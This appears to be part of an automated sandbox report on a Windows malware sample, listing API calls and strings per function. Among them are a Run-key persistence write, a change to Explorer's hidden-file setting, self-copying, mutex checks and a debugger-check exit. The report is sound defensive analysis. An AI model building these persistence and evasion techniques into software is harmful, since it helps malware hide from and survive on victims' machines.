Instruction Fuzzy Hash: D6217520A2B58291EA47FF64F9911B5A237EF60750FC20532E41EC61F69E7CB9368331

Function 00007FF7A91B38D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7A91B3750: GetWindowsDirectoryW.KERNEL32 ref: 00007FF7A91B3790
Part of subcall function 00007FF7A91B3750: GetVolumeInformationW.KERNEL32 ref: 00007FF7A91B380D
Part of subcall function 00007FF7A91B3750: wsprintfW.USER32 ref: 00007FF7A91B38AE

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3919
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B392E
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3941
CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3951
SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3964
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3979
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B398C
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B39A1

Strings

.exe, xrefs: 00007FF7A91B3992

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: f6a50f9ef93ebaf8bc2932846794c1cffc51ee18dea07f5a74ecdd23b80b10e5
Instruction ID: de082f57c8883e57b0a56e332c44e59e6a83a2f28d5b0714f08b61c994fd7588
Opcode Fuzzy Hash: f6a50f9ef93ebaf8bc2932846794c1cffc51ee18dea07f5a74ecdd23b80b10e5
Instruction Fuzzy Hash: B5114F2172998685EB61AF25F86436AA372FBC4B84F815031DA8E87A78DF3CD015C740

Function 00007FF7A91B2E08 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32 ref: 00007FF7A91B2E21
ReleaseMutex.KERNEL32 ref: 00007FF7A91B2E39
CloseHandle.KERNEL32 ref: 00007FF7A91B2E44
GetLastError.KERNEL32 ref: 00007FF7A91B2E51
ReleaseMutex.KERNEL32 ref: 00007FF7A91B2E63
CloseHandle.KERNEL32 ref: 00007FF7A91B2E6E

Strings

rbNSpGEsyb, xrefs: 00007FF7A91B2E0C

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: 9c3a1fa2930bd4c4931f773c359433a412b5a980c5de1ef126c7f09276534dfe
Instruction ID: a8241ea4e4989bc7c795993ba21a503b0096f5780068f1dc8ca1f161029701b8
Opcode Fuzzy Hash: 9c3a1fa2930bd4c4931f773c359433a412b5a980c5de1ef126c7f09276534dfe
Instruction Fuzzy Hash: D7010C26A0EA0281E731AF11F854229A772FBDCF94F850571E94EC6674CF3CD5AA8610

Function 00007FF7A91B3E30 Relevance: 13.5, APIs: 9, Instructions: 44
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7A91B3E43
Process32FirstW.KERNEL32 ref: 00007FF7A91B3E76
CloseHandle.KERNEL32 ref: 00007FF7A91B3E88

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: a3534e13e2ca229a2334e93633bd457ff5c86ad14382aa1a9374919d11bd80be
Instruction ID: 21901b4c9606c70f32a76e1318301b0978ccad21f95989d51fef97b14e83e71e
Opcode Fuzzy Hash: a3534e13e2ca229a2334e93633bd457ff5c86ad14382aa1a9374919d11bd80be
Instruction Fuzzy Hash: 94214F31A0EA8281E771AF11F85836AE372FBC4B54F814235D69E865B8DF3DD465CB10

Function 00007FF7A91B2EA8 Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF7A91B2EBA
ReleaseMutex.KERNEL32 ref: 00007FF7A91B2ED2
CloseHandle.KERNEL32 ref: 00007FF7A91B2EDD
GetLastError.KERNEL32 ref: 00007FF7A91B2EEA
ReleaseMutex.KERNEL32 ref: 00007FF7A91B2EFC
CloseHandle.KERNEL32 ref: 00007FF7A91B2F07

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: 0ff44a8e6de8ed1e0195ea57690e214b8abe1ab05dd50aed0b9b1818bdfdce29
Instruction ID: 5e8b449dd4f2e70c985f0f5825eb5d4b0897652c12027546a140ed96f1b76ac7
Opcode Fuzzy Hash: 0ff44a8e6de8ed1e0195ea57690e214b8abe1ab05dd50aed0b9b1818bdfdce29
Instruction Fuzzy Hash: 45011E36A1EA41C2E721BF21F814229A372FBD8F45F820575E98EC6674CF3CD5698610

Function 00007FF7A91B3CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF7A91B3D0D
PathFindFileNameW.SHLWAPI ref: 00007FF7A91B3D20
wcslen.MSVCRT ref: 00007FF7A91B3D36
wcsncpy.MSVCRT ref: 00007FF7A91B3DFB

Strings

Unknown, xrefs: 00007FF7A91B3DEC

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: 690d95a03e7d81498ee8eba6f9864dd8d054eb80074039efc5352044d11b8409
Instruction ID: f103805d2d08313dc52cbde1b537d32800b485dfd20153af30e450722d033f19
Opcode Fuzzy Hash: 690d95a03e7d81498ee8eba6f9864dd8d054eb80074039efc5352044d11b8409
Instruction Fuzzy Hash: F531D87661DAC485D770AF19F4983AAA3B1FB88B40F800125DA8DC7B68DF3CD165CB10

Function 00007FF7A91B3A80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7A91B3750: GetWindowsDirectoryW.KERNEL32 ref: 00007FF7A91B3790
Part of subcall function 00007FF7A91B3750: GetVolumeInformationW.KERNEL32 ref: 00007FF7A91B380D
Part of subcall function 00007FF7A91B3750: wsprintfW.USER32 ref: 00007FF7A91B38AE

Part of subcall function 00007FF7A91B38D0: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3919
Part of subcall function 00007FF7A91B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B392E
Part of subcall function 00007FF7A91B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3941
Part of subcall function 00007FF7A91B38D0: CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3951
Part of subcall function 00007FF7A91B38D0: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3964
Part of subcall function 00007FF7A91B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3979
Part of subcall function 00007FF7A91B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B398C
Part of subcall function 00007FF7A91B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B39A1

GetModuleFileNameW.KERNEL32 ref: 00007FF7A91B3AC5
DeleteFileW.KERNEL32 ref: 00007FF7A91B3AD0
CopyFileW.KERNEL32 ref: 00007FF7A91B3AE9
SetFileAttributesW.KERNEL32 ref: 00007FF7A91B3B01

Strings

Services, xrefs: 00007FF7A91B3B0C

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: 38d6394be8bf77897d26cc3553eafa69414fe1251da81c0f6a0b7873c45775de
Instruction ID: 061973c366dedc63dd88e536b4691a14d9a9eaff7d8906fa1fdfd09a2fbf14af
Opcode Fuzzy Hash: 38d6394be8bf77897d26cc3553eafa69414fe1251da81c0f6a0b7873c45775de
Instruction Fuzzy Hash: DD018461B1A58292EB51BF24F4553AA9371FB94744FC14032D24DC75B4EE3CD22ACB10

Function 00007FF7A91B3B90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B30B8), ref: 00007FF7A91B3BD3
RegSetValueExW.ADVAPI32 ref: 00007FF7A91B3C09
RegCloseKey.ADVAPI32 ref: 00007FF7A91B3C18

Strings

Hidden, xrefs: 00007FF7A91B3BA0
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF7A91B3B94

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: f3e07836e5ba881a062dce503c66c0d491a456e500aa4065dadb97dc516c8326
Instruction ID: 2641d8d40743274813381691ac4e451ef949b275c5a9de4e3e092a9939bc6a90
Opcode Fuzzy Hash: f3e07836e5ba881a062dce503c66c0d491a456e500aa4065dadb97dc516c8326
Instruction Fuzzy Hash: CD012936629A808ADB519F14F84471AB7B0F788794F801221EB8D83B68DF7CC155CB00

Function 00007FF7A91B13C4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF7A91B13DC
GetProcAddress.KERNEL32 ref: 00007FF7A91B13EC

Strings

kernel32, xrefs: 00007FF7A91B13D5
@, xrefs: 00007FF7A91B1429
IsWow64Process, xrefs: 00007FF7A91B13E2

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: @$IsWow64Process$kernel32
API String ID: 1646373207-1447682865
Opcode ID: a9bbf8a12f5d8eb6f8ad7e89cb270f3f310781ea658b203d01df111f79f738b7
Instruction ID: 0ba59447f3a583da23d43aaece2b459cb0f2dbed260b7f68c11a3aa7de0f686c
Opcode Fuzzy Hash: a9bbf8a12f5d8eb6f8ad7e89cb270f3f310781ea658b203d01df111f79f738b7
Instruction Fuzzy Hash: BE01EC2590D646C6E632AF10F488329A7B1FB8A348FD64135D68D826B8DF7CD569CF10

Function 00007FF7A91B4010 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7A91B402E
Process32FirstW.KERNEL32 ref: 00007FF7A91B4060
wcscmp.MSVCRT ref: 00007FF7A91B4077
CloseHandle.KERNEL32 ref: 00007FF7A91B40AD

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 3376bb50e415439aee280495e9a60c98961ef2e9d1aea3ddbb3f594fd01ecb72
Instruction ID: 1e5558edfb6ca342d599fa4ba5de9126ba6a6d51d652add07da35a0d2c3da299
Opcode Fuzzy Hash: 3376bb50e415439aee280495e9a60c98961ef2e9d1aea3ddbb3f594fd01ecb72
Instruction Fuzzy Hash: 96110A71A0D68681E771AF14F4883AAA3B1FB84B54F818334D69DC66E8DF3DD415DB10

Function 00007FF7A91B3750 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF7A91B3790
GetVolumeInformationW.KERNEL32 ref: 00007FF7A91B380D
wsprintfW.USER32 ref: 00007FF7A91B38AE

Strings

%08lX%04lX%lu, xrefs: 00007FF7A91B389F

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 436ff40bcc19fce939f30fa226a3dd600714662161fd4864c43d5de57ec37882
Instruction ID: 030cf4ead799089dd217e50ab057e2356f729b2b0617d7cee6af7953e43704c2
Opcode Fuzzy Hash: 436ff40bcc19fce939f30fa226a3dd600714662161fd4864c43d5de57ec37882
Instruction Fuzzy Hash: 4231F52661D6C186D721EF64F4983ABB3B1FB84740F811126E68D86AA8EF7DC519CB10

Function 00007FF7A91B39C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF7A91B3B18), ref: 00007FF7A91B39F0
RegSetValueExW.ADVAPI32 ref: 00007FF7A91B3A45
RegCloseKey.ADVAPI32 ref: 00007FF7A91B3A54

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF7A91B39E2

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
Opcode ID: 6ccaf934a1ad21da06d80b98267ca208925d24f1eb2aafd50324653644eb1827
Instruction ID: 2224876ea9b7db86adfb2f46aae8ad154138e84cabb6c8b746df17e8ea449175
Opcode Fuzzy Hash: 6ccaf934a1ad21da06d80b98267ca208925d24f1eb2aafd50324653644eb1827
Instruction Fuzzy Hash: 9911843652968086D7519F24F44072AB7A1FB84BA0F511230F96E83BA8DF3CD155CB10

Function 00007FF7A91B1088 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF7A91B1098
GetProcAddress.KERNEL32 ref: 00007FF7A91B10A8

Strings

GetThreadId, xrefs: 00007FF7A91B109E
kernel32, xrefs: 00007FF7A91B1091

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetThreadId$kernel32
API String ID: 1646373207-2383230424
Opcode ID: 0e0d616a865e98c14ca799ee318c2db79fbcdd41deeb063eae94cbc16b699bb9
Instruction ID: 7f095a28183a78415c007d016728ebc0e2045689d0efb34be038bb9f7787e3da
Opcode Fuzzy Hash: 0e0d616a865e98c14ca799ee318c2db79fbcdd41deeb063eae94cbc16b699bb9
Instruction Fuzzy Hash: E7E0122590EA87C2D661BF20F894329E3B1FB84748FD10130D58D82674DF3CD569CB10

Function 00007FF7A91B2F38 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7A91B38D0: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3919
Part of subcall function 00007FF7A91B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B392E
Part of subcall function 00007FF7A91B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3941
Part of subcall function 00007FF7A91B38D0: CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3951
Part of subcall function 00007FF7A91B38D0: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3964
Part of subcall function 00007FF7A91B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B3979
Part of subcall function 00007FF7A91B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B398C
Part of subcall function 00007FF7A91B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B3AB5), ref: 00007FF7A91B39A1

Part of subcall function 00007FF7A91B4570: CreateFileW.KERNEL32 ref: 00007FF7A91B45B7

Part of subcall function 00007FF7A91B10D8: OpenProcess.KERNEL32 ref: 00007FF7A91B10FC

GetProcessHeap.KERNEL32 ref: 00007FF7A91B2FD3
HeapFree.KERNEL32 ref: 00007FF7A91B2FE6

Strings

chFrWWdQWsLFevUr, xrefs: 00007FF7A91B2F77
.x64, xrefs: 00007FF7A91B2F8A

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: lstrcat$CreateFileHeapProcess$AttributesDirectoryFolderFreeOpenPath
String ID: .x64$chFrWWdQWsLFevUr
API String ID: 1115570603-2286007224
Opcode ID: b4c18c20f70ad8f439685fb06799242bb4bc3d5fca964e0cdd9ebb58fa2316e3
Instruction ID: 7050d75e72f647f2f6bc73ebce495fc9d23e65160cff09246a3b7ae9fe67bfdb
Opcode Fuzzy Hash: b4c18c20f70ad8f439685fb06799242bb4bc3d5fca964e0cdd9ebb58fa2316e3
Instruction Fuzzy Hash: 6C11EC20A1EA8681E712FF10F8543AAB3B2FB84B44FC24175D58CCA675DF7CE4698760

Analysis Process: svchost.exePID: 1524, Parent PID: 5276COMMON

Execution Graph

Execution Coverage:	23.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	484
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF7E52B3468 Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E52B31B8: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF7E52B3479), ref: 00007FF7E52B31BC

ExitProcess.KERNEL32 ref: 00007FF7E52B3482
ExitProcess.KERNEL32 ref: 00007FF7E52B34E0

Strings

msiexec.exe, xrefs: 00007FF7E52B3507
worker_RdDwvE, xrefs: 00007FF7E52B34CB
audiodg.exe, xrefs: 00007FF7E52B3558
worker_BAccdq, xrefs: 00007FF7E52B351C
worker_FDhvwc, xrefs: 00007FF7E52B35D9
worker_kBEqZh, xrefs: 00007FF7E52B356D
svchost.exe, xrefs: 00007FF7E52B34A3

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

